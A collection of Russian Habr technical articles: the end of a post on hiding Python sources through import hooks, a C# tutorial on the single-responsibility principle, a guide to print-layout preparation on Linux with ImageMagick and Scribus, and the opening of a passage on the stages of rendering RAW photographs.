Вот и всё, с этого момента импорт модулей из нашей библиотеки осуществляется с перехватом и «расшифровкой». Наш хук будет дёргаться при любом вызове инструкции import, и если импортируется модули нашей библиотеки, хук будет их обрабатывать и загружать, остальные импорты будут обрабатываться стандартно. Что нам и требовалось для более продвинутой обфускации. Представленный код импортёра и установки хука можно положить уже в \*.pyd файл и надеяться на то, что никто не будет его дизассемблировать в надежде понять, что мы тут наворотили. В реальном проекте можно использовать настоящее шифрование, в том числе с использованием аппаратного ключа, что должно повысить надёжность данного метода. Также изменение имён файлов и структуры пакетов может быть полезным для большего запутывания.
#### Заключение
В качестве заключения хочу сказать, что я противник скрывать исходники, которые нельзя просто так взять и скрыть. В данном случае я не осмелюсь обсуждать этическую сторону вопроса и нужность/полезность сокрытия Python-исходников. Тут я просто представил метод, как это можно сделать и получить какой-то результат. Естественно, это не панацея. Python-код, действительно, невозможно скрыть полностью и от всех. Код модулей всегда можно получить с помощью интроспекции встроенными возможностями языка после их загрузки, например, из переменной `sys.modules`. Но это уже не так очевидно, как если бы исходники были открыты изначально.
Возможно, что всё, что тут написано и яйца выеденного не стоит — давно известные истины, либо бред сумасшедшего. Но если вышеописанное кому-то может оказаться полезным, я буду рад. Лично для меня данный опыт был полезен, хотя бы потому, что позволил лучше разобраться в мощной и гибкой системе загрузки и импортирования модулей и Importer Protocol. О тех самых штуках, которые чаще всего не требуются разработчикам для написания программ на Python. Всегда интересно узнать что-то новое.
Спасибо за внимание.
**UPD 14.08.2013**:
По просьбе [tangro](https://habrahabr.ru/users/tangro/) сделал минимальный проект, в котором демонстрируется описанный способ, но без настоящего шифрования (применены только некие алгоритмы обратимого преобразования).
Скачать zip-архив можно по [ссылке](https://dl.dropboxusercontent.com/u/17400742/test_crypto_import.zip). Нужен Python 2.7 x86 под Windows. Запускать нужно скрипт «test\_main.py».
UPD 2:
И более интересный пример, в котором производятся некоторые вычисления. Здесь все импорты и вызовы функций из зашифрованных модулей скрыты в бинарном модуле. Скачать архив можно по [ссылке](https://www.dropbox.com/s/xhir96wu3vvi4d6/test_crypto_import_2.zip).
|
https://habr.com/ru/post/189772/
| null |
ru
| null |
# SOLID: принцип единственности ответственности
В этой статье мы попробуем описать один из известных принципов объектно-ориентированного программирования, входящий в аббревиатуру не менее известного понятия SOLID. На английском языке он носит название Single Reponsibility, что в переводе на русский означает Единственность Ответственности.
В [оригинальном](http://druss.co/2013/10/pdf-agile-principles-patterns-and-practices-in-c/) определении этот принцип гласит:
**Класс должен иметь только одну причину для изменения**
Для начала попробуем определить понятие Ответственность и попробуем связать это понятие в приведенной выше формулировкой. Любой программный компонент имеет некоторые причины, почему он был написан. Их можно назвать требованиями. Обеспечение следования реализованной логики налагаемым на компонент требованиям назовем ответственностью компонента. Если требования меняются, меняется и логика компонента, а следовательно и его ответственность. Таким образом, первоначальная формулировка принципа эквивалентна тому, что класс должен иметь только одну ответственность, одно назначение. Тогда и причина для его изменения будет одна.
Для начала приведем пример нарушения принципа и посмотрим, какие последствия это может иметь. Рассмотрим класс, который может рассчитывать площадь прямоугольника, а также выводить его на графический интерфейс. Таким образом, класс совмещает в себе две ответственности (следовательно и две глобальных причины для изменения), которые можно определить так:
1. Класс должен уметь вычислять площадь прямоугольника по двум его сторонам;
2. Класс должен уметь рисовать прямоугольник.
Ниже приведен пример кода:
```
#using UI;
class RectangleManager
{
public double W {get; private set;}
public double H {get; private set;}
public RectangleManager(double w, double h)
{
W = w;
H = h;
// Initialize UI
}
public double Area()
{
return W*H;
}
public void Draw()
{
// Draw the figure on UI
}
}
```
Следует обратить внимание, что в приведенном выше коде для рисования используются сторонние графические компоненты, реализованные в пространстве имен UI.
Пусть имеются две клиентские программы, которые используют данный класс. Одна из них просто выполняет некоторые вычисления, а вторая реализует пользовательский интерфейс.
Program 1:
```
#using UI;
void Main()
{
var rectangle= new RectangleManager(w, h);
double area = rectangle.Area();
if (area < 20)
{
// Do something;
}
}
```
Program 2:
```
#using UI;
void Main()
{
var rectangle= new RectangleManager(w, h);
rectangle.Draw();
}
```
Этот дизайн имеет следующие недостатки:
* Program 1 вынуждена зависеть от внешних UI компонентов (директива #using UI), несмотря на то, что ей этого не нужно. Эта зависимость обусловлена логикой, реализованной в методе Draw. В итоге это увеличивает время компиляции, добавляет возможные проблемы работы программы на машинах клиентов, где просто может быть не установлено таких UI компонентов;
* в случае изменения логики рисования следует заново тестировать весь RectangleManager компонент, иначе есть вероятность поломки логики вычисления площади и, следовательно, Program1.
В данном случае налицо признаки плохого дизайна, в частности Хрупкости (легко поломать при внесении изменений вследствие высокой связности), а также относительной Неподвижности (возможные трудности использования класса в Program 1 из-за ненужной зависимости от UI).
Проблему можно решить, разделив исходный компонент RectangleManager на следующие части:
1. Класс Rectangle, ответственный за вычисление площади и предоставление значений длин сторон прямоугольника;
2. Класс RectanglePresenter, реализующий рисование прямоугольника.
Обратите внимание, что ответственность класса Rectangle является комплексной, то есть содержит как требования к предоставлению длин сторон, так и к вычислению площади. Таким образом, можно говорить о том, что ответственность отражает контракт компонента, то есть набор его операций (методов). Сам этот контракт определяется потенциальными потребностями клиентов. В нашем случае это предоставление геометрических параметров прямоугольника. В коде это выглядит так:
```
public class Rectangle
{
public double W {get; private set;}
public double H {get; private set;}
public Rectangle(double w, double h)
{
W = w;
H = h;
}
public double Area()
{
return W*H;
}
}
public class RectanglePresenter()
{
public RectanglePresenter()
{
// Initialize UI
}
public void Draw(Rectangle rectangle)
{
// Draw the figure on UI
}
}
```
С учетом проделанных изменений, код клиентских программ примет следующий вид:
Program 1:
```
void Main()
{
var rectangle= new Rectangle(w, h);
double area = rectangle.Area();
if (area < 20)
{
// Do something
}
}
```
Program 2:
```
#using UI;
void Main()
{
var rectangle = new Rectangle(w, h);
var rectPresenter = new RectanglePresenter();
rectPresenter.Draw(rectangle);
}
```
Отсюда видно, что Program 1 уже не зависит от графических компонентов. Кроме того, в результате следования принципу ненужные зависимости исчезли, код стал более структурированным и надежным.
В большинстве случаев принцип Единственности Ответственности помогает снизить связность компонентов, делает код более читабельным, упрощает написание юнит тестов. Но всегда нужно помнить о том, что это всего лишь общая рекомендация, и решение по его применению следует принимать исходя из конкретной ситуации. Разделение ответственности должно быть осознанным. Вот несколько примеров, когда этого делать не стоит:
1. Разбиение существующего класса может привести к тому, что клиентский код банальным образом поломается. Заметить это на этапе разработки и тестирования бывает трудно, если логика недостаточно покрыта качественными юнит тестами и/или по причине плохого мануального/авто тестирования. Иногда такая поломка может стоить компании денег, репутации и т.п.;
2. Разделение ответственностей просто не нужно, так как клиентский код и разработчиков компонента все устраивает (при этом они знают о существовании принципа). Требования практически не меняются. Причем это относится как к существующим классам, так и к еще не созданным, а находящимся на этапе проектирования;
3. В других случаях, когда пользы от разделения меньше, чем вреда от нее.
Однако знание и понимание принципа должно улучшить кругозор разработчика, что позволит ему эффективнее проектировать и сопровождать создаваемые решения.
|
https://habr.com/ru/post/328584/
| null |
ru
| null |
# Linux для профессионалов: как подготовить макет к печати в типографии
Небольшая преамбула
-------------------
Коллеги, я тут некоторое время назад подумал, что было бы неплохо завести нечто вроде коллективной рубрики «Linux для профессионалов», в которой рассказывать о том, как организуют свою деятельность специалисты, использующие Linux для каждодневной работы и, вопреки общепринятому мнению, при этом не являющиеся ни программистами не системными администраторами ни «технофриками» вообще. Было бы здорово, если бы уважаемые читатели — пользователи Linux делились бы собственным опытом. Чтобы бросить «пробный шар», я, с вашего позволения, для начала попробую поделиться моим опытом подготовки дизайн-макета к печати.
Я намеренно не хочу затрагивать такие комплексные аспекты, как редактирование изображений и подготовка трехмерных визуализаций в Blender. Так же я не ставлю задачу обучить читателя пользоваться профессиональным инструментарием. Для этого есть документация и масса пользовательских ресурсов. Цели настоящей серии я бы очертил так:
* Устранить предвзятое мнение относительно невозможности использования \*nix систем для профессиональной деятельности отличной от работы программиста или администратора сети;
* Показать, что за счет модульности архитектуры \*nix систем и использования программного обеспечения с открытым исходным кодом, следующего стандартам POSIX, многие операции, на которые в привычном рабочем окружении я ранее тратил часы а то и дни, могут весьма просто автоматизироваться, либо решатся за считанные минуты;
* Поделиться опытом и показать, какой инструментарий выбирают специалисты (в частности, какой выбрал я в процессе поисков) и какие решения могут быть наиболее приемлемы для тех или иных задач.
Собственно, в качестве первого примера я решил рассмотреть подготовку макета буклетов для двух моих проектов.
Это тиражный результат. Прошу прощения за качество снимка, была только настольная лампа под рукой, если кто хочет посмотреть оригинал, вот [буклет про GPS аудиогид в PDF формате](http://publicity.electronictourguide.com/electronictourguide.com.pdf) с редуцированным разрешением растровой графики.
Ниже я расскажу о ключевых этапах и проблемах, которые пришлось решать в процессе.
Подготовка иллюстраций
----------------------
В буклете про аудио-гид использованы четыре фотографии. Две из них — сняты на натуре. Две — студийные (т.е. как водится, дома на полу). Первое фото — это широкоформатный слайд снятый моим другом Денисом Проценко. Остальные — цифровой снимок на Canon D350.
Сегодня, когда вы подключаете цифровую камеру к компьютеру с популярным нынче дистрибутивом Ubuntu, устройство монтируется автоматически и запускается специальное приложение для просмотра изображений, которое есть в стандартной поставке. В то время, когда я только начинал экспериментировать с Linux, ничего подобного не существовало. Поэтому я запускал gphoto и забирал фотографии с камеры через него.
```
gphoto2 -P
```
Как ни парадоксально, я делаю так до сих пор, и причина тому проста. Запуск приложения занимает секунд 5, плюс процесс нажатия кнопок и мышиных движений — еще десяток. Запуск же консольной команды в терминале — секундное действие, которое можно выполнить непосредственно из целевой директории. Тот самый случай, когда консоль в разы проще GUI (и таких маленьких находок будет еще множество).
*Ремарка. Для вызова часто используемых консольных команд в терминале удобно использовать сочетание клавиш CTRL-R + фрагмент команды*
Для редактирования иллюстраций я использовал Gimp. По умолчанию Gimp не понимает RAW формат, в который сегодня умеют сохранять изображения все профессиональные и полупрофессинальные камеры. Для того, чтобы загрузить исходное изображение без сжатия вам понадобится UFRaw плагин.
Если вы работаете в Gimp, то вы наверняка знаете, что особенностью редактора является отсутствие возможности работать в CMYK. История с обсуждением необходимости имплементации CMYK является давнишним предметом для дебатов в комьюнити разработчиков. Полагаю, что появление CMYK режима — это вопрос времени. Поскольку количество дизайнеров, выбирающих Linux в качестве основной операционной системы, растет в последние пару лет «как на дрожжах», полагаю, обязательно среди них найдется энтузиаст, который либо сам напишет собственную реализацию, либо скажет решающее слово. Не исключено, что кто-нибудь из читателей станет конрибьютором.
Так или иначе. Я, помнится, было сперва изрядно расстроился по этому поводу. Без конвертации всех иллюстраций в CMYK никакой буклет к печати не подготовишь. Отправился искать, что советуют в сети на этот счет. И нашел плагин, который делает то, что мне нужно, а именно — конвертирует в CMYK и сохраняет в TIFF. Плагин установлен, все работает. Но не тут то было. Плагин замечательно подхватывал профили. Но конвертировал только в плоскую картинку с приклеенным фоном. Строго говоря — не велика проблема. Тем более, что во избежание ошибок и ободок вызванных различиями в интерпретации цвета плашек и иллюстраций в некоторых выводниках, повсеместно рекомендуется избегать альфаканалов (alpha channels) в CMYK. Но проблема в том, что у меня фон в буклете один — а фон на картинке при конвертации получается чуть другой. Простое решение — «плюнуть» на точность и поменять фон в буклете на тот, что в картинке. Но я решил, что это неправильный путь, покуда предлагает разовое неуниверсальное решение и стал копать дальше.
И тут я обнаружил что, оказывается, популярный набор консольных утилит Image Magic умеет запросто конвертировать в самые разные цветовые пространства, в т.ч. включая CMYK. И, разумеется, с подключением стандартных профилей, хотите свободных, хотите Adobe-овских.
Ура! решение найдено. Вот строка, которой я отныне конвертирую все иллюстрации.
```
convert -profile <ваш путь к профилю RGB>/AdobeRGB1998.icc device.tif -profile <ваш путь к профилю CMYK>/ISOcoated_v2_300_eci.icc -density 300 device.cmyk.tif
```
и, разумеется, это в разы быстрее, нежели чем открывать тяжеловесный GUI.
А вот следующая строка, где я меняю фон на нужный мне. (Исходная иллюстрация с альфа-каналом.)
```
convert -colorspace cmyk -density 300 -background "cmyka(127, 0, 25, 28)" -alpha off device.cmyk_newBG.tif
```
Итак, картинки готовы. Далее, подготовка векторной графики.
Векторная графика
-----------------
Позволю себе небольшую ремарку. Пользователи Windоws и инструментария Adobe (вне зависимости от платформы) привыкли иметь дело с монолитными приложениями, которые пытаются вобрать в себя весь возможный функционал. Однако в \*nix системах исторически сложилась несколько другая практика, уходящая корнями в идеи модульности, являющуюся важной отличительной чертой POSIX. Одно приложение — одна задача. Смысл и универсальность такого подхода начинаешь постигать, когда сталкиваешься с необходимостью унифицировать и автоматизировать нестандартные задачи. Я не буду вдаваться в детали сейчас, но попробую показать, насколько это мощный подход в одной из следующих публикаций, посвященных видео-монтажу. Впрочем, для тех, кто занимается полиграфической версткой давно и профессионально, этот факт — вовсе не открытие. Все профессиональные верстальщики готовят векторную графику отдельно, растр — отдельно и потом только собирают все в специальном приложении для верстки. Только такой подход дает вам необходимый уровень гибкости настроек и высокое качество вывода.
Итак. векторная графика. Идеальный, по моему мнению, на сегодняшний день, во всех отношениях редактор векторной графики под Linux — это Inkscape. В нем я делаю обычно всю графику для веб и для печати, и в нем же я разрабатывал символику для обоих проектов: Inteplay Medium и Electronic Tour Guide.
В буклетах, которые я выбрал в качестве примера, нет особо никаких векторных изысков. Единственное, я бы обратил внимание на аспект связанный с подготовкой QR кода. Тут я использовал встроенный в inkscape векторизатор (Path -> Trace Bitmap).
Строка для генерации QR кода (утилита qrencode, опция -s позволяет задать размер точки).
```
qrencode -o electronictourguide.com.png -s 5 'http://electronictourguide.com'
```
После чего все сохранил в SVG. Логотип у меня уже был готов. А стрелочки можно было сделать средствами Scribus (о нем ниже).
Верстка
-------
Тут я был несказанно порадован. Оказывается для Linux существует мощнейший инструмент для верстки и подготовки документов к выводу. Scribus!
Scribus идеален во всех отношениях. Делают его люди, судя по всему, отлично разбирающиеся в деталях печатного дела и знающие толк в препресс-ремесле. Идеологически он мало чем отличается от Quark Express или Page Maker. Если вы ранее имели дело с ними, вы без труда разберетесь с тем, как и где настраивается трэппинг, как добавить номерные цвета (если они вам нужны) и как вывести результирующий PDF или postscript.
Чтобы обезопасить себя от ошибок, я решил поискать какие-нибудь публикации на тему экспорта PDF для печати и нашел [вот эту отличную статью](http://www.newspaperclub.com/how-it-works/scribus-export-guide), где описана стандартная процедура и перечислены рекомендуемые настройки.
*Ремарка. Если вы импортируете SVG графику, не забудьте конвертировать добавленные после импорта в верстку цвета в CMYK. Удобства ради в списке цветов появляются предупреждающие о несоответствии цветового пространства пометки.*
Отдельно стоит коснуться вопроса шрифтов. Для Linux мне встречались как минимум три шрифтовых менеджера. И последнее время чаще всего я натыкаюсь на хвалебные отзывы по поводу FontMatrix (по всей вероятности по той причине, что его рекомендует Software Manager в Ubuntu). Так вот. Я пробовал FontMatrix и могу сказать, что это очень сырой софт с весьма неудобным интерфейсом. Посмотрим, как будет развиваться этот проект, но пока для работы использовать его, объективно, нельзя. Наиболее интересным мне видится Phonty Python. Там есть все, что нужно дизайнеру для быстрой инсталляции и деинсталляции шрифтов, включая, разумеется, толковое preview и шрифтовые группы, которые вы может переключать по желанию (там они называются «pogs»).
Итак, макет я подготовил, по ходу разобравшись в Scribus.
Печать макета на принтере
-------------------------
Если вы ранее делали дизайн в Linux, то вы наверняка быстро обнаружили, что при использовании стандартных драйверов CUPS достаточно сложно добиться качественного результата, не говоря уже о возможности использовать нестандартные бумажные форматы (например рулон). Чтобы сделать ваш макет идеальным, вам понадобится драйвер Gutenprint. Гутенпринт был изначально разработан, как плагин для Gimp, но позднее расширил свои полномочия, и теперь вы можете печатать качественно из любого приложения. Справедливости ради, стоит отметить, что все тонкие настройки по-прежнему доступны только в Gimp плагине, так что если вы хотите получит полный контроль, экспортируйте вашу работу в растр и печатайте из Gimp.
У меня принтер Stylus Photo R285. формата А4. Буклеты же мои имеют весьма специфический формат не укалывающийся в стандарт. Я решил схитрить и вырезал и затем склеил длинные полоски из меловки, соответствующие ширине буклетов. Гутенпринту же я сообщил, что это рулон. Экспортировал буклет в растровые картинки 600 dpi, открыл, выставил параметры печати на максимум и стал ждать.
Ждать пришлось около часа. Столько занял процесс растеризации и печати одной стороны. Качество при этом было, разумеется, отменным, но вот время печати несколько превышало мои ожидания. В общем, опытным путем я выяснил, что для достижения качественного результата достаточно выбрать уровень Photo и ли для особых эстетов Super Photо.
Собственно все. Я благополучно переслал полученный PDF вместе с напечатанными и склеенными макетами в типографию и через несколько дней получил цветопробу.
Ну и после согласования — готовый тираж.
Стандартный расклад: в конце тиража желтый недодавлен! Халтурщики! но я, как вежливый клиент, решил что не велика беда и остался доволен.
Ссылки (упомянутые в статье материалы и программное обеспечение)
----------------------------------------------------------------
* [Gimp](http://www.gimp.org) — редактор растровой графики
* [Scribus](http://scribus.net) — система для верстки и подготовки оригинал-макетов к печати
* [Inkscape](http://inkscape.org) — редактор векторной графика
* [Printing in Scribus](http://www.linuxjournal.com/content/printing-scribus) (by Bruce Byfield)
* [Scribus PDF Export Guide](http://www.newspaperclub.com/how-it-works/scribus-export-guide)
* [dispcalGUI Open Source Display Calibration](http://dispcalgui.hoech.net/) — GUI для Argyll (система калибровки монитора). Не упомянута в статье, советую обратить внимание
* [Gutenprint](http://gimp-print.sourceforge.net/) — набор драйверов и утилит для цветной печати. Поддержка более чем 1300 типов принтеров
* [Image Magick](http://www.imagemagick.org) — набор консольных утилит (и библиотек) для работы с растровой графикой
* [qrencode](http://fukuchi.org/works/qrencode/manual/index.html) — консольная утилита (+ библиотека для разработчиков) для генерации QR кодов
* [UFRaw](https://en.wikipedia.org/wiki/UFRaw) — утилита и Gimp плагин для работы со снимками в некомпрессированом формате
* [Fonty Python](https://pypi.python.org/pypi/fontypython/0.4.3) — управление шрифтами в Gnu/Linux
* [Getting CMYK colors from Inkscape to Scribus for printing](http://libregraphicsworld.org/blog/entry/getting-cmyk-colors-from-inkscape-to-scribus) — не пригодившаяся, но полезная ссылка.
Все упомянутое программное обеспечение есть в репозиториях всех популярных «настольных» дистрибутивов Linux, включая Ubuntu и Linux Mint.
*Специально для тех, кто только подумывает о переходе на Linux отмечу: установка и удаление программ в операционной системе GNU/Linux — рядовая процедура не требующая никаких дополнительных действий и осуществляющаяся через единый менеджер программного обеспечения или непосредственно в терминале (что еще быстрее). Вам в подавляющем большинстве случаев нет необходимости искать и скачивать что-либо из сети. Вы просто вводите короткую команду в терминале или набираете название в поиске Software Manager и выбираете, что вам нужно установить. Точно так же выглядит процедура удаления. Обе процедуры, как правило, занимают считанные секунды, что дает возможность в течение часа попробовать множество инструментов, утилит и готовых решений.*
Вдогонку
--------
Читателю наверняка будет интересно узнать, что группа энтузиастов некоторое время назад разработала отличный колориметр [ColorHug](http://www.hughski.com/index.html), полностью открытым с полным техническим описанием. Вы можете собрать свой или купить готовый.
Кратко о себе
Так получилось, что я в силу моего безудержного интереса и ряда сопутствующих обстоятельств на протяжении всей моей долгой профессиональной деятельности занимался (и, собственно, продолжаю заниматься до сих пор) разного рода практиками на первый взгляд не связанными, но, тем не менее, являющимися для меня «ветвями одного дерева». Я начинал как дизайнер-график в типографии при драм.театре (есть такой уникуму в Новосибирске, со своим препресом и печатным станком), потом делал телевизионную графику, монтировал видео, снимал рекламу, позднее писал игры и делал интерактивную графику, разрабатывал рекламные кампании, снимал кино и в последнее время спектр моих интересов сомкнулся в сфере, которую можно обозначить как «новые медиа, визуальная коммуникация и разработка креативной электроники». Последние 6 лет я использую для работы исключительно OC Linux и, полагаю, читателю, подумывающему о переходе на эту операционную систему, будет любопытно узнать, как я и мои коллеги решают такого рода специфические задачи и какой инструментарий используют.
Если среди читателей появятся желающие подхватить мою скромную инициативу и рассказать о собственном профессиональном опыте использования этой во всех смыслах замечательной операционной системы, думаю, будет здорово использовать общий префикс в названии и аналогичный тэг «Linux для профессионалов».
|
https://habr.com/ru/post/197036/
| null |
ru
| null |
# Рендер изображения формата RAW
*Рис. 1: фото на Nikon D610 с объективом AF-S 24-120mm f/4 и параметрами 24mm f/8 ISO100*
Каковы базовые шаги рендера изображения формата RAW на низком уровне? В данной статье я опишу, что происходит «под капотом» конвертеров цифровой камеры, где необработанные данные превращаются в пригодное для просмотра изображение формата RAW – иногда этот процесс называют рендерингом. Для демонстрации преобразования информации с изображения на каждом шаге я буду использовать приведённую в начале статьи фотографию, сделанную на Nikon D610 с объективом AF-S 24-120mm f/4 и параметрами 24mm f/8 ISO100.
Рендеринг – это преобразование RAW и редактирование
---------------------------------------------------
Рендеринг можно разделить на два основных процесса: преобразование RAW и редактирование. Преобразование RAW необходимо для превращения необработанных данных изображения в стандартный формат, который понимают программы для редактирования и просмотра изображений, а также устройства для работы с ними. Обычно для этого используется колориметрическое цветовое пространство RGB типа Adobe или sRGB.
Редакторы берут информацию об изображении в стандартном цветовом пространстве и применяют к ней изменения, с тем, чтобы изображение стало более «подходящим» или «приятным» для фотографа.
Пример чистого конвертера RAW – dcraw от Дэвида Коффина. Пример чистого редактора — Photoshop от Adobe. Большинство конвертеров RAW на самом деле сочетают в себе функции преобразования RAW с функциями редактора (к примеру, Capture NX, LR, C1).
7 шагов базового преобразования RAW
-----------------------------------
Граница того, где заканчивается конвертация и начинается редактирование, достаточно размыта, но, в зависимости от того, как их разделять, можно выделить всего 7 шагов в основном процессе преобразования файла RAW в стандартное колориметрическое цветовое пространство – к примеру, sRGB. Шаги не обязательно должны идти в таком порядке, однако следующая последовательность довольно логична.
1. Загрузить линейные данные из файла RAW и вычесть уровни чёрного.
2. Провести балансировку белого.
3. Подправить линейную яркость.
4. Обрезать данные изображения.
5. Восстановить исходное изображение из мозаики ([дебайеризация](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%81%D1%81%D0%B8%D0%B2_%D1%86%D0%B2%D0%B5%D1%82%D0%BD%D1%8B%D1%85_%D1%81%D0%B2%D0%B5%D1%82%D0%BE%D1%84%D0%B8%D0%BB%D1%8C%D1%82%D1%80%D0%BE%D0%B2)).
6. Применить преобразования и коррекции цветов.
7. Применить гамму.
В базовом преобразовании RAW процесс остаётся линейным до самого конца. В идеале кривая гаммы на последнем шаге исправляется устройством, выводящим изображение, поэтому система обработки изображения от начала и до конца – от момента, когда на матрицу падает свет, до момента, когда свет достигает глаз – примерно линейная. Если вам нужно «честно» отрендерить изображение, так, как оно попало на фотоматрицу – то это всё, что вам нужно от конвертера RAW.
+ Отображение тона: адаптация к динамическому диапазону устройства вывода
-------------------------------------------------------------------------
Однако, как мы увидим, базовое преобразование файлов RAW в существующих цифровых камерах почти никогда не даёт удовлетворительного результата, поскольку у большей части устройств вывода (фотобумага, мониторы) коэффициент контрастности уступает тому, который способны запечатлеть хорошие цифровые камеры. Поэтому практически необходимо провести коррекцию тонов, чтобы привести широкий динамический диапазон камеры к узкому динамическому диапазону устройства. Это может быть простая кривая контрастности – или более сложное отображение тона вместе с локальной и глобальной подстройкой теней, ярких участков, чёткости и т.п. (стандартные ползунки в коммерческих редакторах и ПО конвертеров). Обычно это делается при редактировании рендера – но если вы стремитесь получить «точный» цвет, в идеале отображение тона должно быть частью 6-го шага цветокоррекции во время конвертирования RAW (см. [отличный сайт](http://www.ludd.ltu.se/~torger/dcamprof.html) Алекса Торгера с описанием цветовых профилей).
После семи базовых шагов конвертирования можно переходить к редактору, с тем, чтобы объективно скорректировать несовершенства, выявленные в конкретном кадре и в конкретном выводе картинки на устройство вывода – а также сделать изображение субъективно более приятным глазу художника. К примеру, исправить дисторсию объектива и латеральную хроматическую аберрацию; применить уменьшение шума; применить фильтр увеличения резкости. Возможно, некоторые из этих функций лучше выполнять в линейном пространстве, перед определёнными шагами конвертирования RAW, но обычно они необязательны, и их можно точно так же сделать и в редакторе после рендеринга в гамма-пространстве.
В данной статье мы сконцентрируемся на базовой части рендеринга, связанной с преобразованием RAW, а отображение тона и редактирование оставим для другого раза.
1. Загрузить линейные данные из файла RAW и вычесть уровни чёрного
------------------------------------------------------------------
Первый шаг в преобразовании RAW – простая загрузка данных из файла RAW в память. Поскольку форматы RAW отличаются от камеры к камере, большинство конвертеров используют вариации программ [LibRaw](https://www.libraw.org/download)/[dcraw](https://www.dechifro.org/dcraw/index_ru.html) с открытым кодом. Следующие команды для LibRaw или dcraw перепакуют RAW в линейный 16-битный TIF, который смогут прочесть приложения для обработки (Matlab, ImageJ, PS, и т.д.). Установка программы не требуется, нужно только, чтобы исполняемый файл был в переменной PATH или находился в той же директории.
```
unprocessed_raw -T yourRawFile
```
или
```
dcraw -d -4 -T yourRawFile
```
Если ваша фотоматрица хорошо спроектирована и находится в рамках спецификаций, записанные данные будут находиться в линейном соотношении с яркостью света, однако обычно они хранятся со смещением, зависящим от камеры и канала. Т.н. уровни чёрного имеют величины в несколько сотен или тысяч DN, и их нужно вычесть из оригинальных необработанных данных, чтобы нулевая интенсивность пикселей совпадала с нулевым количеством света. dcraw с приведённой выше командной строкой сделает это для вас (хотя и применит некие средние значения). При использовании unprocessed\_raw вам нужно знать значение уровня чёрного для вашей камеры и вычесть его соответственно (или можно использовать параметр –B, который, правда, в текущей версии LibRaw, похоже, не поддерживается).
Оказывается, что Nikon вычитает уровни чёрного из каждого канала перед записью в файлы D610, поэтому для нашего справочного кадра любая из команд сработает. Я загрузил её командой dcraw -d -4 –T, которая также масштабирует данные до 16 бит (см. шаг 3 по коррекции яркости далее).
Загруженные на этой стадии данные просто представляют собой интенсивность «серой шкалы» изображения. Однако в них есть соответствие положению на матрице, связанное с определённым цветовым фильтром, под которым оно находится. В [байеровских матрицах](https://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80_%D0%91%D0%B0%D0%B9%D0%B5%D1%80%D0%B0) идут ряды перемежающихся красного с зелёным цветов – и зелёного с синим – как показано на картинке. Точный порядок определяется по первому квартету активной области матрицы – в данном случае это RGGB, однако возможны и три других варианта.
*Рис 2: матрица цветного фильтра Байера: расположение RGGB.*
Байеровская матрица для D610 имеет раскладку RGGB. Необработанные данные выглядят на этом этапе следующим образом, как недоэкспонированное чёрно-белое изображение:
*Рис. 3: Шаг 1: линейное необработанное изображение с вычтенными уровнями чёрного. Должно выглядеть таким же ярким, как следующий рис. 4. Если нет – ваш браузер неправильно обрабатывает цвета (я использую Chrome, и он, очевидно, обрабатывает их неправильно).*
Если фото чёрное, то ваш браузер не знает, как показывать правильно размеченные линейные данные. Интересно, что редактор WordPress показывает изображение верно, но после публикации в Chrome оно выглядит неправильно (примечание: к 2019 году это, наконец, исправили) [статья 2016 года / прим. перев.]. Вот, как должно выглядеть это изображение:
*Рис. 4: то же фото, но в виде CFA grayscale*
Вот как линейные данные CFA выглядят непосредственно в файле. Выглядит темновато, поскольку я сместил экспозицию вправо, чтобы не обрезать блики водопада – это мы исправим позже, на шаге линейной коррекции яркости.
Изображение выглядит как полноценное чёрно-белое из-за малого размера, но на самом деле это не так: даже на одинаково освещённых участках видна пикселизация. Это происходит из-за того, что соседние цветовые фильтры, имея разную спектральную чувствительность, собирают разную информацию о цветах. Это легко видно при увеличении изображения. Вот как выглядит участок изображения сразу под карточкой WhiBal с увеличением до 600%:
*Рис 5: CFA-пикселизация видна на равномерно серой карточке (сверху) и на окрашенных листьях.*
2. Данные о балансе белого
--------------------------
Из-за спектрального распределения энергии источника света (в данном случае это частично закрытое облаками небо, свет которого проникает сквозь листву) и спектральной чувствительности фильтров, расположенных на матрице, различные цветные пиксели записывают пропорционально большие или меньшие значения даже при одном и том же освещении. Особенно это очевидно в нейтральных частях изображения, где, казалось бы, должны проявляться одинаковые средние значения по всем цветовым плоскостям. В данном случае на нейтрально серой карточке красные и синие пиксели записали значения в 48,8% и 75,4% от зелёного значения соответственно, поэтому они кажутся темнее.
Поэтому следующий шаг – применить баланс белого к линейным данным CFA, умножив каждый красный пиксель на 2,0493 (1/48,8%), а каждый синий – на 1,3256 (1/75,4%). В терминах Adobe мы получим чёрно-белое изображение, нейтральное относительно камеры. Тогда гарантированно, за исключением шума, все пиксели покажут одинаковые линейные значения на нейтральных частях изображения.
*Рис. 6: после балансировки белого пикселизация серой карточки исчезает, но на цветных объектах она ещё видна.*
Посмотрите, как исчезла пикселизация вверху изображения – для калибровки использовалась нейтрально серая карточка. Но, конечно, с цветных объектов пикселизация не исчезла: информация о цветах хранится в разности интенсивностей трёх каналов.
3. Корректировка линейной яркости
---------------------------------
Большинство современных цифровых камер с заменяемыми объективами дают необработанные данные размерностью 12-14 линейных битов. Стандартная битовая глубина файлов (jpeg, TIFF, PNG) обычно задаётся в виде множителей 8, и любимой глубиной большинства редакторов сегодня являются 16 бит. Мы не можем просто взять 14-битные данные с вычтенным уровнем чёрного и сохранить их в 16 бит – всё попадёт в нижние 25% линейного диапазона и будет слишком тёмным. В идеале нам нужно обрезать данные после балансировки белого и вычитания чёрного, чтобы соответствовать обрезанным данным 16-битного файла, и соответствующим образом их масштабировать (см. шаг 4). Простой способ примерного приведения данных – просто умножить 14-битные данные на 4, масштабируя их до 16 бит. Именно это было сделано на шаге 1 после вычитания чёрного (dcraw -d -4 -T делает это автоматически, а с unprocessed\_raw нужно будет сделать это вручную).
Говоря о масштабировании, мы можем также захотеть подправить нашу яркость. Этот шаг субъективен, и его, вероятно, не стоит делать, если вы гонитесь за «честным» рендером изображения, таким, какое оно получилось на матрице и записалось в файл RAW. Однако ни у кого не получается идеально выставить экспозицию, а разные камеры часто измеряют среднее серое в разных процентах от необработанных данных, поэтому полезно иметь возможность подправлять яркость. Поэтому у многих конвертеров относительные ползунки называются «коррекция экспозиции » или «компенсация экспозиции». В Adobe есть связанная с этим метка DNG, нормализующая экспонометр для разных камер, BaselineExposure. Для D610 она равняется 0,35 шага.
